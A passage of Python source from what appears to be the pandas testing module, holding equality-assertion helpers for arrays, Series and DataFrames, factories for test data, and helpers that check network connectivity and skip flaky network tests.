f"{obj} shapes are different", left.shape, right.shape ) diff = 0 for l, r in zip(left, right): # count up differences if not array_equivalent(l, r, strict_nan=strict_nan): diff += 1 diff = diff * 100.0 / left.size msg = f"{obj} values are different ({np.round(diff, 5)} %)" raise_assert_detail(obj, msg, left, right, index_values=index_values) raise AssertionError(err_msg) # compare shape and values if not array_equivalent(left, right, strict_nan=strict_nan): _raise(left, right, err_msg) if check_dtype: if isinstance(left, np.ndarray) and isinstance(right, np.ndarray): assert_attr_equal("dtype", left, right, obj=obj) def assert_extension_array_equal( left, right, check_dtype=True, index_values=None, check_less_precise=no_default, check_exact=False, rtol: float = 1.0e-5, atol: float = 1.0e-8, ): """ Check that left and right ExtensionArrays are equal. Parameters ---------- left, right : ExtensionArray The two arrays to compare. check_dtype : bool, default True Whether to check if the ExtensionArray dtypes are identical. index_values : numpy.ndarray, default None Optional index (shared by both left and right), used in output. check_less_precise : bool or int, default False Specify comparison precision. Only used when check_exact is False. 5 digits (False) or 3 digits (True) after decimal points are compared. If int, then specify the digits to compare. .. deprecated:: 1.1.0 Use `rtol` and `atol` instead to define relative/absolute tolerance, respectively. Similar to :func:`math.isclose`. check_exact : bool, default False Whether to compare number exactly. rtol : float, default 1e-5 Relative tolerance. Only used when check_exact is False. .. versionadded:: 1.1.0 atol : float, default 1e-8 Absolute tolerance. Only used when check_exact is False. .. versionadded:: 1.1.0 Notes ----- Missing values are checked separately from valid values. A mask of missing values is computed for each and checked to match. The remaining all-valid values are cast to object dtype and checked. """ if check_less_precise is not no_default: warnings.warn( "The 'check_less_precise' keyword in testing.assert_*_equal " "is deprecated and will be removed in a future version. " "You can stop passing 'check_less_precise' to silence this warning.", FutureWarning, stacklevel=2, ) rtol = atol = _get_tol_from_less_precise(check_less_precise) assert isinstance(left, ExtensionArray), "left is not an ExtensionArray" assert isinstance(right, ExtensionArray), "right is not an ExtensionArray" if check_dtype: assert_attr_equal("dtype", left, right, obj="ExtensionArray") if ( isinstance(left, DatetimeLikeArrayMixin) and isinstance(right, DatetimeLikeArrayMixin) and type(right) == type(left) ): # Avoid slow object-dtype comparisons # np.asarray for case where we have a np.MaskedArray assert_numpy_array_equal( np.asarray(left.asi8), np.asarray(right.asi8), index_values=index_values ) return left_na = np.asarray(left.isna()) right_na = np.asarray(right.isna()) assert_numpy_array_equal( left_na, right_na, obj="ExtensionArray NA mask", index_values=index_values ) left_valid = np.asarray(left[~left_na].astype(object)) right_valid = np.asarray(right[~right_na].astype(object)) if check_exact: assert_numpy_array_equal( left_valid, right_valid, obj="ExtensionArray", index_values=index_values ) else: _testing.assert_almost_equal( left_valid, right_valid, check_dtype=check_dtype, rtol=rtol, atol=atol, obj="ExtensionArray", index_values=index_values, ) # This could be refactored to use the NDFrame.equals method def assert_series_equal( left, right, check_dtype=True, check_index_type="equiv", check_series_type=True, check_less_precise=no_default, check_names=True, check_exact=False, check_datetimelike_compat=False, check_categorical=True, check_category_order=True, check_freq=True, check_flags=True, rtol=1.0e-5, atol=1.0e-8, obj="Series", ): """ Check that left and right Series are equal. Parameters ---------- left : Series right : Series check_dtype : bool, default True Whether to check the Series dtype is identical. check_index_type : bool or {'equiv'}, default 'equiv' Whether to check the Index class, dtype and inferred_type are identical. check_series_type : bool, default True Whether to check the Series class is identical. check_less_precise : bool or int, default False Specify comparison precision. Only used when check_exact is False. 5 digits (False) or 3 digits (True) after decimal points are compared. If int, then specify the digits to compare. When comparing two numbers, if the first number has magnitude less than 1e-5, we compare the two numbers directly and check whether they are equivalent within the specified precision. Otherwise, we compare the **ratio** of the second number to the first number and check whether it is equivalent to 1 within the specified precision. .. deprecated:: 1.1.0 Use `rtol` and `atol` instead to define relative/absolute tolerance, respectively. Similar to :func:`math.isclose`. check_names : bool, default True Whether to check the Series and Index names attribute. check_exact : bool, default False Whether to compare number exactly. check_datetimelike_compat : bool, default False Compare datetime-like which is comparable ignoring dtype. check_categorical : bool, default True Whether to compare internal Categorical exactly. check_category_order : bool, default True Whether to compare category order of internal Categoricals. .. versionadded:: 1.0.2 check_freq : bool, default True Whether to check the `freq` attribute on a DatetimeIndex or TimedeltaIndex. check_flags : bool, default True Whether to check the `flags` attribute. .. versionadded:: 1.2.0 rtol : float, default 1e-5 Relative tolerance. Only used when check_exact is False. .. versionadded:: 1.1.0 atol : float, default 1e-8 Absolute tolerance. Only used when check_exact is False. .. versionadded:: 1.1.0 obj : str, default 'Series' Specify object name being compared, internally used to show appropriate assertion message. """ __tracebackhide__ = True if check_less_precise is not no_default: warnings.warn( "The 'check_less_precise' keyword in testing.assert_*_equal " "is deprecated and will be removed in a future version. " "You can stop passing 'check_less_precise' to silence this warning.", FutureWarning, stacklevel=2, ) rtol = atol = _get_tol_from_less_precise(check_less_precise) # instance validation _check_isinstance(left, right, Series) if check_series_type: assert_class_equal(left, right, obj=obj) # length comparison if len(left) != len(right): msg1 = f"{len(left)}, {left.index}" msg2 = f"{len(right)}, {right.index}" raise_assert_detail(obj, "Series length are different", msg1, msg2) if check_flags: assert left.flags == right.flags, f"{repr(left.flags)} != {repr(right.flags)}" # index comparison assert_index_equal( left.index, right.index, exact=check_index_type, check_names=check_names, check_exact=check_exact, check_categorical=check_categorical, rtol=rtol, atol=atol, obj=f"{obj}.index", ) if check_freq and isinstance(left.index, (pd.DatetimeIndex, pd.TimedeltaIndex)): lidx = left.index ridx = right.index assert lidx.freq == ridx.freq, (lidx.freq, ridx.freq) if check_dtype: # We want to skip exact dtype checking when `check_categorical` # is False. We'll still raise if only one is a `Categorical`, # regardless of `check_categorical` if ( is_categorical_dtype(left.dtype) and is_categorical_dtype(right.dtype) and not check_categorical ): pass else: assert_attr_equal("dtype", left, right, obj=f"Attributes of {obj}") if check_exact and is_numeric_dtype(left.dtype) and is_numeric_dtype(right.dtype): # Only check exact if dtype is numeric assert_numpy_array_equal( left._values, right._values, check_dtype=check_dtype, obj=str(obj), index_values=np.asarray(left.index), ) elif check_datetimelike_compat and ( needs_i8_conversion(left.dtype) or needs_i8_conversion(right.dtype) ): # we want to check only if we have compat dtypes # e.g. integer and M|m are NOT compat, but we can simply check # the values in that case # datetimelike may have different objects (e.g. datetime.datetime # vs Timestamp) but will compare equal if not Index(left._values).equals(Index(right._values)): msg = ( f"[datetimelike_compat=True] {left._values} " f"is not equal to {right._values}." ) raise AssertionError(msg) elif is_interval_dtype(left.dtype) and is_interval_dtype(right.dtype): assert_interval_array_equal(left.array, right.array) elif is_categorical_dtype(left.dtype) or is_categorical_dtype(right.dtype): _testing.assert_almost_equal( left._values, right._values, rtol=rtol, atol=atol, check_dtype=check_dtype, obj=str(obj), index_values=np.asarray(left.index), ) elif is_extension_array_dtype(left.dtype) and is_extension_array_dtype(right.dtype): assert_extension_array_equal( left._values, right._values, check_dtype=check_dtype, index_values=np.asarray(left.index), ) elif needs_i8_conversion(left.dtype) or needs_i8_conversion(right.dtype): # DatetimeArray or TimedeltaArray assert_extension_array_equal( left._values, right._values, check_dtype=check_dtype, index_values=np.asarray(left.index), ) else: _testing.assert_almost_equal( left._values, right._values, rtol=rtol, atol=atol, check_dtype=check_dtype, obj=str(obj), index_values=np.asarray(left.index), ) # metadata comparison if check_names: assert_attr_equal("name", left, right, obj=obj) if check_categorical: if is_categorical_dtype(left.dtype) or is_categorical_dtype(right.dtype): assert_categorical_equal( left._values, right._values, obj=f"{obj} category", check_category_order=check_category_order, ) # This could be refactored to use the NDFrame.equals method def assert_frame_equal( left, right, check_dtype=True, check_index_type="equiv", check_column_type="equiv", check_frame_type=True, check_less_precise=no_default, check_names=True, by_blocks=False, check_exact=False, check_datetimelike_compat=False, check_categorical=True, check_like=False, check_freq=True, check_flags=True, rtol=1.0e-5, atol=1.0e-8, obj="DataFrame", ): """ Check that left and right DataFrame are equal. This function is intended to compare two DataFrames and output any differences. Is is mostly intended for use in unit tests. Additional parameters allow varying the strictness of the equality checks performed. Parameters ---------- left : DataFrame First DataFrame to compare. right : DataFrame Second DataFrame to compare. check_dtype : bool, default True Whether to check the DataFrame dtype is identical. check_index_type : bool or {'equiv'}, default 'equiv' Whether to check the Index class, dtype and inferred_type are identical. check_column_type : bool or {'equiv'}, default 'equiv' Whether to check the columns class, dtype and inferred_type are identical. Is passed as the ``exact`` argument of :func:`assert_index_equal`. check_frame_type : bool, default True Whether to check the DataFrame class is identical. check_less_precise : bool or int, default False Specify comparison precision. Only used when check_exact is False. 5 digits (False) or 3 digits (True) after decimal points are compared. If int, then specify the digits to compare. When comparing two numbers, if the first number has magnitude less than 1e-5, we compare the two numbers directly and check whether they are equivalent within the specified precision. Otherwise, we compare the **ratio** of the second number to the first number and check whether it is equivalent to 1 within the specified precision. .. deprecated:: 1.1.0 Use `rtol` and `atol` instead to define relative/absolute tolerance, respectively. Similar to :func:`math.isclose`. check_names : bool, default True Whether to check that the `names` attribute for both the `index` and `column` attributes of the DataFrame is identical. by_blocks : bool, default False Specify how to compare internal data. If False, compare by columns. If True, compare by blocks. check_exact : bool, default False Whether to compare number exactly. check_datetimelike_compat : bool, default False Compare datetime-like which is comparable ignoring dtype. check_categorical : bool, default True Whether to compare internal Categorical exactly. check_like : bool, default False If True, ignore the order of index & columns. Note: index labels must match their respective rows (same as in columns) - same labels must be with the same data. check_freq : bool, default True Whether to check the `freq` attribute on a DatetimeIndex or TimedeltaIndex. check_flags : bool, default True Whether to check the `flags` attribute. rtol : float, default 1e-5 Relative tolerance. Only used when check_exact is False. .. versionadded:: 1.1.0 atol : float, default 1e-8 Absolute tolerance. Only used when check_exact is False. .. versionadded:: 1.1.0 obj : str, default 'DataFrame' Specify object name being compared, internally used to show appropriate assertion message. See Also -------- assert_series_equal : Equivalent method for asserting Series equality. DataFrame.equals : Check DataFrame equality. Examples -------- This example shows comparing two DataFrames that are equal but with columns of differing dtypes. >>> from pandas._testing import assert_frame_equal >>> df1 = pd.DataFrame({'a': [1, 2], 'b': [3, 4]}) >>> df2 = pd.DataFrame({'a': [1, 2], 'b': [3.0, 4.0]}) df1 equals itself. >>> assert_frame_equal(df1, df1) df1 differs from df2 as column 'b' is of a different type. >>> assert_frame_equal(df1, df2) Traceback (most recent call last): ... AssertionError: Attributes of DataFrame.iloc[:, 1] (column name="b") are different Attribute "dtype" are different [left]: int64 [right]: float64 Ignore differing dtypes in columns with check_dtype. >>> assert_frame_equal(df1, df2, check_dtype=False) """ __tracebackhide__ = True if check_less_precise is not no_default: warnings.warn( "The 'check_less_precise' keyword in testing.assert_*_equal " "is deprecated and will be removed in a future version. " "You can stop passing 'check_less_precise' to silence this warning.", FutureWarning, stacklevel=2, ) rtol = atol = _get_tol_from_less_precise(check_less_precise) # instance validation _check_isinstance(left, right, DataFrame) if check_frame_type: assert isinstance(left, type(right)) # assert_class_equal(left, right, obj=obj) # shape comparison if left.shape != right.shape: raise_assert_detail( obj, f"{obj} shape mismatch", f"{repr(left.shape)}", f"{repr(right.shape)}" ) if check_like: left, right = left.reindex_like(right), right if check_flags: assert left.flags == right.flags, f"{repr(left.flags)} != {repr(right.flags)}" # index comparison assert_index_equal( left.index, right.index, exact=check_index_type, check_names=check_names, check_exact=check_exact, check_categorical=check_categorical, rtol=rtol, atol=atol, obj=f"{obj}.index", ) # column comparison assert_index_equal( left.columns, right.columns, exact=check_column_type, check_names=check_names, check_exact=check_exact, check_categorical=check_categorical, rtol=rtol, atol=atol, obj=f"{obj}.columns", ) # compare by blocks if by_blocks: rblocks = right._to_dict_of_blocks() lblocks = left._to_dict_of_blocks() for dtype in list(set(list(lblocks.keys()) + list(rblocks.keys()))): assert dtype in lblocks assert dtype in rblocks assert_frame_equal( lblocks[dtype], rblocks[dtype], check_dtype=check_dtype, obj=obj ) # compare by columns else: for i, col in enumerate(left.columns): assert col in right lcol = left.iloc[:, i] rcol = right.iloc[:, i] assert_series_equal( lcol, rcol, check_dtype=check_dtype, check_index_type=check_index_type, check_exact=check_exact, check_names=check_names, check_datetimelike_compat=check_datetimelike_compat, check_categorical=check_categorical, check_freq=check_freq, obj=f'{obj}.iloc[:, {i}] (column name="{col}")', rtol=rtol, atol=atol, ) def assert_equal(left, right, **kwargs): """ Wrapper for tm.assert_*_equal to dispatch to the appropriate test function. Parameters ---------- left, right : Index, Series, DataFrame, ExtensionArray, or np.ndarray The two items to be compared. **kwargs All keyword arguments are passed through to the underlying assert method. """ __tracebackhide__ = True if isinstance(left, pd.Index): assert_index_equal(left, right, **kwargs) if isinstance(left, (pd.DatetimeIndex, pd.TimedeltaIndex)): assert left.freq == right.freq, (left.freq, right.freq) elif isinstance(left, pd.Series): assert_series_equal(left, right, **kwargs) elif isinstance(left, pd.DataFrame): assert_frame_equal(left, right, **kwargs) elif isinstance(left, IntervalArray): assert_interval_array_equal(left, right, **kwargs) elif isinstance(left, PeriodArray): assert_period_array_equal(left, right, **kwargs) elif isinstance(left, DatetimeArray): assert_datetime_array_equal(left, right, **kwargs) elif isinstance(left, TimedeltaArray): assert_timedelta_array_equal(left, right, **kwargs) elif isinstance(left, ExtensionArray): assert_extension_array_equal(left, right, **kwargs) elif isinstance(left, np.ndarray): assert_numpy_array_equal(left, right, **kwargs) elif isinstance(left, str): assert kwargs == {} assert left == right else: raise NotImplementedError(type(left)) def box_expected(expected, box_cls, transpose=True): """ Helper function to wrap the expected output of a test in a given box_class. Parameters ---------- expected : np.ndarray, Index, Series box_cls : {Index, Series, DataFrame} Returns ------- subclass of box_cls """ if box_cls is pd.array: expected = pd.array(expected) elif box_cls is pd.Index: expected = pd.Index(expected) elif box_cls is pd.Series: expected = pd.Series(expected) elif box_cls is pd.DataFrame: expected = pd.Series(expected).to_frame() if transpose: # for vector operations, we we need a DataFrame to be a single-row, # not a single-column, in order to operate against non-DataFrame # vectors of the same length. expected = expected.T elif box_cls is PeriodArray: # the PeriodArray constructor is not as flexible as period_array expected = period_array(expected) elif box_cls is DatetimeArray: expected = DatetimeArray(expected) elif box_cls is TimedeltaArray: expected = TimedeltaArray(expected) elif box_cls is np.ndarray: expected = np.array(expected) elif box_cls is to_array: expected = to_array(expected) else: raise NotImplementedError(box_cls) return expected def to_array(obj): # temporary implementation until we get pd.array in place dtype = getattr(obj, "dtype", None) if is_period_dtype(dtype): return period_array(obj) elif is_datetime64_dtype(dtype) or is_datetime64tz_dtype(dtype): return DatetimeArray._from_sequence(obj) elif is_timedelta64_dtype(dtype): return TimedeltaArray._from_sequence(obj) else: return np.array(obj) # ----------------------------------------------------------------------------- # Sparse def assert_sp_array_equal(left, right): """ Check that the left and right SparseArray are equal. Parameters ---------- left : SparseArray right : SparseArray """ _check_isinstance(left, right, pd.arrays.SparseArray) assert_numpy_array_equal(left.sp_values, right.sp_values) # SparseIndex comparison assert isinstance(left.sp_index, pd._libs.sparse.SparseIndex) assert isinstance(right.sp_index, pd._libs.sparse.SparseIndex) left_index = left.sp_index right_index = right.sp_index if not left_index.equals(right_index): raise_assert_detail( "SparseArray.index", "index are not equal", left_index, right_index ) else: # Just ensure a pass assert_attr_equal("fill_value", left, right) assert_attr_equal("dtype", left, right) assert_numpy_array_equal(left.to_dense(), right.to_dense()) # ----------------------------------------------------------------------------- # Others def assert_contains_all(iterable, dic): for k in iterable: assert k in dic, f"Did not contain item: {repr(k)}" def assert_copy(iter1, iter2, **eql_kwargs): """ iter1, iter2: iterables that produce elements comparable with assert_almost_equal Checks that the elements are equal, but not the same object. (Does not check that items in sequences are also not the same object) """ for elem1, elem2 in zip(iter1, iter2): assert_almost_equal(elem1, elem2, **eql_kwargs) msg = ( f"Expected object {repr(type(elem1))} and object {repr(type(elem2))} to be " "different objects, but they were the same object." ) assert elem1 is not elem2, msg def getCols(k): return string.ascii_uppercase[:k] # make index def makeStringIndex(k=10, name=None): return Index(rands_array(nchars=10, size=k), name=name) def makeUnicodeIndex(k=10, name=None): return Index(randu_array(nchars=10, size=k), name=name) def makeCategoricalIndex(k=10, n=3, name=None, **kwargs): """ make a length k index or n categories """ x = rands_array(nchars=4, size=n) return CategoricalIndex( Categorical.from_codes(np.arange(k) % n, categories=x), name=name, **kwargs ) def makeIntervalIndex(k=10, name=None, **kwargs): """ make a length k IntervalIndex """ x = np.linspace(0, 100, num=(k + 1)) return IntervalIndex.from_breaks(x, name=name, **kwargs) def makeBoolIndex(k=10, name=None): if k == 1: return Index([True], name=name) elif k == 2: return Index([False, True], name=name) return Index([False, True] + [False] * (k - 2), name=name) def makeIntIndex(k=10, name=None): return Index(list(range(k)), name=name) def makeUIntIndex(k=10, name=None): return Index([2 ** 63 + i for i in range(k)], name=name) def makeRangeIndex(k=10, name=None, **kwargs): return RangeIndex(0, k, 1, name=name, **kwargs) def makeFloatIndex(k=10, name=None): values = sorted(np.random.random_sample(k)) - np.random.random_sample(1) return Index(values * (10 ** np.random.randint(0, 9)), name=name) def makeDateIndex(k=10, freq="B", name=None, **kwargs): dt = datetime(2000, 1, 1) dr = bdate_range(dt, periods=k, freq=freq, name=name) return DatetimeIndex(dr, name=name, **kwargs) def makeTimedeltaIndex(k=10, freq="D", name=None, **kwargs): return pd.timedelta_range(start="1 day", periods=k, freq=freq, name=name, **kwargs) def makePeriodIndex(k=10, name=None, **kwargs): dt = datetime(2000, 1, 1) dr = pd.period_range(start=dt, periods=k, freq="B", name=name, **kwargs) return dr def makeMultiIndex(k=10, names=None, **kwargs): return MultiIndex.from_product((("foo", "bar"), (1, 2)), names=names, **kwargs) _names = [ "Alice", "Bob", "Charlie", "Dan", "Edith", "Frank", "George", "Hannah", "Ingrid", "Jerry", "Kevin", "Laura", "Michael", "Norbert", "Oliver", "Patricia", "Quinn", "Ray", "Sarah", "Tim", "Ursula", "Victor", "Wendy", "Xavier", "Yvonne", "Zelda", ] def _make_timeseries(start="2000-01-01", end="2000-12-31", freq="1D", seed=None): """ Make a DataFrame with a DatetimeIndex Parameters ---------- start : str or Timestamp, default "2000-01-01" The start of the index. Passed to date_range with `freq`. end : str or Timestamp, default "2000-12-31" The end of the index. Passed to date_range with `freq`. freq : str or Freq The frequency to use for the DatetimeIndex seed : int, optional The random state seed. * name : object dtype with string names * id : int dtype with * x, y : float dtype Examples -------- >>> _make_timeseries() id name x y timestamp 2000-01-01 982 Frank 0.031261 0.986727 2000-01-02 1025 Edith -0.086358 -0.032920 2000-01-03 982 Edith 0.473177 0.298654 2000-01-04 1009 Sarah 0.534344 -0.750377 2000-01-05 963 Zelda -0.271573 0.054424 ... ... ... ... ... 2000-12-27 980 Ingrid -0.132333 -0.422195 2000-12-28 972 Frank -0.376007 -0.298687 2000-12-29 1009 Ursula -0.865047 -0.503133 2000-12-30 1000 Hannah -0.063757 -0.507336 2000-12-31 972 Tim -0.869120 0.531685 """ index = pd.date_range(start=start, end=end, freq=freq, name="timestamp") n = len(index) state = np.random.RandomState(seed) columns = { "name": state.choice(_names, size=n), "id": state.poisson(1000, size=n), "x": state.rand(n) * 2 - 1, "y": state.rand(n) * 2 - 1, } df = pd.DataFrame(columns, index=index, columns=sorted(columns)) if df.index[-1] == end: df = df.iloc[:-1] return df def index_subclass_makers_generator(): make_index_funcs = [ makeDateIndex, makePeriodIndex, makeTimedeltaIndex, makeRangeIndex, makeIntervalIndex, makeCategoricalIndex, makeMultiIndex, ] yield from make_index_funcs def all_timeseries_index_generator(k=10): """ Generator which can be iterated over to get instances of all the classes which represent time-series. Parameters ---------- k: length of each of the index instances """ make_index_funcs = [makeDateIndex, makePeriodIndex, makeTimedeltaIndex] for make_index_func in make_index_funcs: yield make_index_func(k=k) # make series def makeFloatSeries(name=None): index = makeStringIndex(_N) return Series(randn(_N), index=index, name=name) def makeStringSeries(name=None): index = makeStringIndex(_N) return Series(randn(_N), index=index, name=name) def makeObjectSeries(name=None): data = makeStringIndex(_N) data = Index(data, dtype=object) index = makeStringIndex(_N) return Series(data, index=index, name=name) def getSeriesData(): index = makeStringIndex(_N) return {c: Series(randn(_N), index=index) for c in getCols(_K)} def makeTimeSeries(nper=None, freq="B", name=None): if nper is None: nper = _N return Series(randn(nper), index=makeDateIndex(nper, freq=freq), name=name) def makePeriodSeries(nper=None, name=None): if nper is None: nper = _N return Series(randn(nper), index=makePeriodIndex(nper), name=name) def getTimeSeriesData(nper=None, freq="B"): return {c: makeTimeSeries(nper, freq) for c in getCols(_K)} def getPeriodData(nper=None): return {c: makePeriodSeries(nper) for c in getCols(_K)} # make frame def makeTimeDataFrame(nper=None, freq="B"): data = getTimeSeriesData(nper, freq) return DataFrame(data) def makeDataFrame(): data = getSeriesData() return DataFrame(data) def getMixedTypeDict(): index = Index(["a", "b", "c", "d", "e"]) data = { "A": [0.0, 1.0, 2.0, 3.0, 4.0], "B": [0.0, 1.0, 0.0, 1.0, 0.0], "C": ["foo1", "foo2", "foo3", "foo4", "foo5"], "D": bdate_range("1/1/2009", periods=5), } return index, data def makeMixedDataFrame(): return DataFrame(getMixedTypeDict()[1]) def makePeriodFrame(nper=None): data = getPeriodData(nper) return DataFrame(data) def makeCustomIndex( nentries, nlevels, prefix="#", names=False, ndupe_l=None, idx_type=None ): """ Create an index/multindex with given dimensions, levels, names, etc' nentries - number of entries in index nlevels - number of levels (> 1 produces multindex) prefix - a string prefix for labels names - (Optional), bool or list of strings. if True will use default names, if false will use no names, if a list is given, the name of each level in the index will be taken from the list. ndupe_l - (Optional), list of ints, the number of rows for which the label will repeated at the corresponding level, you can specify just the first few, the rest will use the default ndupe_l of 1. len(ndupe_l) <= nlevels. idx_type - "i"/"f"/"s"/"u"/"dt"/"p"/"td". If idx_type is not None, `idx_nlevels` must be 1. "i"/"f" creates an integer/float index, "s"/"u" creates a string/unicode index "dt" create a datetime index. "td" create a datetime index. if unspecified, string labels will be generated. """ if ndupe_l is None: ndupe_l = [1] * nlevels assert is_sequence(ndupe_l) and len(ndupe_l) <= nlevels assert names is None or names is False or names is True or len(names) is nlevels assert idx_type is None or ( idx_type in ("i", "f", "s", "u", "dt", "p", "td") and nlevels == 1 ) if names is True: # build default names names = [prefix + str(i) for i in range(nlevels)] if names is False: # pass None to index constructor for no name names = None # make singleton case uniform if isinstance(names, str) and nlevels == 1: names = [names] # specific 1D index type requested? idx_func = dict( i=makeIntIndex, f=makeFloatIndex, s=makeStringIndex, u=makeUnicodeIndex, dt=makeDateIndex, td=makeTimedeltaIndex, p=makePeriodIndex, ).get(idx_type) if idx_func: idx = idx_func(nentries) # but we need to fill in the name if names: idx.name = names[0] return idx elif idx_type is not None: raise ValueError( f"{repr(idx_type)} is not a legal value for `idx_type`, " "use 'i'/'f'/'s'/'u'/'dt'/'p'/'td'." ) if len(ndupe_l) < nlevels: ndupe_l.extend([1] * (nlevels - len(ndupe_l))) assert len(ndupe_l) == nlevels assert all(x > 0 for x in ndupe_l) tuples = [] for i in range(nlevels): def keyfunc(x): import re numeric_tuple = re.sub(r"[^\d_]_?", "", x).split("_") return [int(num) for num in numeric_tuple] # build a list of lists to create the index from div_factor = nentries // ndupe_l[i] + 1 cnt = Counter() for j in range(div_factor): label = f"{prefix}_l{i}_g{j}" cnt[label] = ndupe_l[i] # cute Counter trick result = sorted(cnt.elements(), key=keyfunc)[:nentries] tuples.append(result) tuples = list(zip(*tuples)) # convert tuples to index if nentries == 1: # we have a single level of tuples, i.e. a regular Index index = Index(tuples[0], name=names[0]) elif nlevels == 1: name = None if names is None else names[0] index = Index((x[0] for x in tuples), name=name) else: index = MultiIndex.from_tuples(tuples, names=names) return index def makeCustomDataframe( nrows, ncols, c_idx_names=True, r_idx_names=True, c_idx_nlevels=1, r_idx_nlevels=1, data_gen_f=None, c_ndupe_l=None, r_ndupe_l=None, dtype=None, c_idx_type=None, r_idx_type=None, ): """ Create a DataFrame using supplied parameters. Parameters ---------- nrows, ncols - number of data rows/cols c_idx_names, idx_names - False/True/list of strings, yields No names , default names or uses the provided names for the levels of the corresponding index. You can provide a single string when c_idx_nlevels ==1. c_idx_nlevels - number of levels in columns index. > 1 will yield MultiIndex r_idx_nlevels - number of levels in rows index. > 1 will yield MultiIndex data_gen_f - a function f(row,col) which return the data value at that position, the default generator used yields values of the form "RxCy" based on position. c_ndupe_l, r_ndupe_l - list of integers, determines the number of duplicates for each label at a given level of the corresponding index. The default `None` value produces a multiplicity of 1 across all levels, i.e. a unique index. Will accept a partial list of length N < idx_nlevels, for just the first N levels. If ndupe doesn't divide nrows/ncol, the last label might have lower multiplicity. dtype - passed to the DataFrame constructor as is, in case you wish to have more control in conjunction with a custom `data_gen_f` r_idx_type, c_idx_type - "i"/"f"/"s"/"u"/"dt"/"td". If idx_type is not None, `idx_nlevels` must be 1. "i"/"f" creates an integer/float index, "s"/"u" creates a string/unicode index "dt" create a datetime index. "td" create a timedelta index. if unspecified, string labels will be generated. Examples -------- # 5 row, 3 columns, default names on both, single index on both axis >> makeCustomDataframe(5,3) # make the data a random int between 1 and 100 >> mkdf(5,3,data_gen_f=lambda r,c:randint(1,100)) # 2-level multiindex on rows with each label duplicated # twice on first level, default names on both axis, single # index on both axis >> a=makeCustomDataframe(5,3,r_idx_nlevels=2,r_ndupe_l=[2]) # DatetimeIndex on row, index with unicode labels on columns # no names on either axis >> a=makeCustomDataframe(5,3,c_idx_names=False,r_idx_names=False, r_idx_type="dt",c_idx_type="u") # 4-level multindex on rows with names provided, 2-level multindex # on columns with default labels and default names. >> a=makeCustomDataframe(5,3,r_idx_nlevels=4, r_idx_names=["FEE","FI","FO","FAM"], c_idx_nlevels=2) >> a=mkdf(5,3,r_idx_nlevels=2,c_idx_nlevels=4) """ assert c_idx_nlevels > 0 assert r_idx_nlevels > 0 assert r_idx_type is None or ( r_idx_type in ("i", "f", "s", "u", "dt", "p", "td") and r_idx_nlevels == 1 ) assert c_idx_type is None or ( c_idx_type in ("i", "f", "s", "u", "dt", "p", "td") and c_idx_nlevels == 1 ) columns = makeCustomIndex( ncols, nlevels=c_idx_nlevels, prefix="C", names=c_idx_names, ndupe_l=c_ndupe_l, idx_type=c_idx_type, ) index = makeCustomIndex( nrows, nlevels=r_idx_nlevels, prefix="R", names=r_idx_names, ndupe_l=r_ndupe_l, idx_type=r_idx_type, ) # by default, generate data based on location if data_gen_f is None: data_gen_f = lambda r, c: f"R{r}C{c}" data = [[data_gen_f(r, c) for c in range(ncols)] for r in range(nrows)] return DataFrame(data, index, columns, dtype=dtype) def _create_missing_idx(nrows, ncols, density, random_state=None): if random_state is None: random_state = np.random else: random_state = np.random.RandomState(random_state) # below is cribbed from scipy.sparse size = int(np.round((1 - density) * nrows * ncols)) # generate a few more to ensure unique values min_rows = 5 fac = 1.02 extra_size = min(size + min_rows, fac * size) def _gen_unique_rand(rng, _extra_size): ind = rng.rand(int(_extra_size)) return np.unique(np.floor(ind * nrows * ncols))[:size] ind = _gen_unique_rand(random_state, extra_size) while ind.size < size: extra_size *= 1.05 ind = _gen_unique_rand(random_state, extra_size) j = np.floor(ind * 1.0 / nrows).astype(int) i = (ind - j * nrows).astype(int) return i.tolist(), j.tolist() def makeMissingDataframe(density=0.9, random_state=None): df = makeDataFrame() i, j = _create_missing_idx(*df.shape, density=density, random_state=random_state) df.values[i, j] = np.nan return df def optional_args(decorator): """ allows a decorator to take optional positional and keyword arguments. Assumes that taking a single, callable, positional argument means that it is decorating a function, i.e. something like this:: @my_decorator def function(): pass Calls decorator with decorator(f, *args, **kwargs) """ @wraps(decorator) def wrapper(*args, **kwargs): def dec(f): return decorator(f, *args, **kwargs) is_decorating = not kwargs and len(args) == 1 and callable(args[0]) if is_decorating: f = args[0] args = [] return dec(f) else: return dec return wrapper # skip tests on exceptions with this message _network_error_messages = ( # 'urlopen error timed out', # 'timeout: timed out', # 'socket.timeout: timed out', "timed out", "Server Hangup", "HTTP Error 503: Service Unavailable", "502: Proxy Error", "HTTP Error 502: internal error", "HTTP Error 502", "HTTP Error 503", "HTTP Error 403", "HTTP Error 400", "Temporary failure in name resolution", "Name or service not known", "Connection refused", "certificate verify", ) # or this e.errno/e.reason.errno _network_errno_vals = ( 101, # Network is unreachable 111, # Connection refused 110, # Connection timed out 104, # Connection reset Error 54, # Connection reset by peer 60, # urllib.error.URLError: [Errno 60] Connection timed out ) # Both of the above shouldn't mask real issues such as 404's # or refused connections (changed DNS). # But some tests (test_data yahoo) contact incredibly flakey # servers. # and conditionally raise on exception types in _get_default_network_errors def _get_default_network_errors(): # Lazy import for http.client because it imports many things from the stdlib import http.client return (IOError, http.client.HTTPException, TimeoutError) def can_connect(url, error_classes=None): """ Try to connect to the given url. True if succeeds, False if IOError raised Parameters ---------- url : basestring The URL to try to connect to Returns ------- connectable : bool Return True if no IOError (unable to connect) or URLError (bad url) was raised """ if error_classes is None: error_classes = _get_default_network_errors() try: with urlopen(url): pass except error_classes: return False else: return True @optional_args def network( t, url="https://www.google.com", raise_on_error=_RAISE_NETWORK_ERROR_DEFAULT, check_before_test=False, error_classes=None, skip_errnos=_network_errno_vals, _skip_on_messages=_network_error_messages, ): """ Label a test as requiring network connection and, if an error is encountered, only raise if it does not find a network connection. In comparison to ``network``, this assumes an added contract to your test: you must assert that, under normal conditions, your test will ONLY fail if it does not have network connectivity. You can call this in 3 ways: as a standard decorator, with keyword arguments, or with a positional argument that is the url to check. Parameters ---------- t : callable The test requiring network connectivity. url : path The url to test via ``pandas.io.common.urlopen`` to check for connectivity. Defaults to 'https://www.google.com'. raise_on_error : bool If True, never catches errors. check_before_test : bool If True, checks connectivity before running the test case. error_classes : tuple or Exception error classes to ignore. If not in ``error_classes``, raises the error. defaults to IOError. Be careful about changing the error classes here. skip_errnos : iterable of int Any exception that has .errno or .reason.erno set to one of these values will be skipped with an appropriate message. _skip_on_messages: iterable of string any exception e for which one of the strings is a substring of str(e) will be skipped with an appropriate message. Intended to suppress errors where an errno isn't available. Notes ----- * ``raise_on_error`` supersedes ``check_before_test`` Returns ------- t : callable The decorated test 